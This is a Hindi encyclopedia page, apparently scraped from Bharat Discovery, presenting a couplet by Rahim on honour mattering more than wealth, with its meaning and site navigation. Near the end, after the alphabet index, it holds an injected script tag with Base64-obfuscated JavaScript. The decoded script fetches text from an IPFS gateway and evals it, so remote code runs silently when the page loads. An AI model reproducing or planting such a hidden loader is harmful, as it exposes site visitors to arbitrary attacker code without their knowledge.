एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

धन थोरो, इज्जत बड़ी -रहीम  

धन थोरो, इज्जत बड़ी, कहि ‘रहीम’ का बात।
जैसे कुल की कुलबधू, चिथड़न माहिं समात ॥

अर्थ

पैसा अगर थोड़ा है, पर इज्जत बड़ी है, तो यह कोइ निन्दनीय बात नहीं । खानदानी घर की स्त्री चिथड़े पहनकर भी अपने मान की रक्षा कर लेती हैं।


रहीम के दोहे

टीका टिप्पणी और संदर्भ

संबंधित लेख


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=धन_थोरो,_इज्जत_बड़ी_-रहीम&oldid=547839" से लिया गया